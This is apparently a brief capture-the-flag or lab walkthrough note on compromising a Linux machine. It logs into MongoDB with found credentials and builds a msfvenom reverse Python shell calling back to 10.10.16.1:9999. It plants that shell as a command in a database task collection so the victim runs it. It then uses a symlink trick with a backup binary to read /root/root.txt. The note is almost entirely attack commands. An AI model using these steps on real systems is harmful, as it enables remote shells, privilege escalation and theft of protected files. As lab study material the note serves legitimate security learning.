mongo db creds found?
try:
mongo -u username -p PASS authSource(i.e scheduler)
note db.collection('NAME') for database name.
msfvenom -p cmd/unix/reverse_python lhost=10.10.16.1 lport=9999 R
upload the shell to the victim.
then do: on victim
db.tasks.insert({ "cmd": "/bin/bash /tmp/shell.sh;" } );
WriteResult({ "nInserted" : 1 })
Back up key found?
copy the key and use it with:
./backup -q hashes /tmp
this will create base64 file.
decide it and see what kind of file it is.
---
Link root.txt to a tmp file;
mkdir /tmp/gori
ln -s /root/root.txt /tmp/gori
/usr/local/bin/backup -q pass /tmp/gori > xxx
cat xxx | base64 --decode > xxx-d
Last modified 1yr ago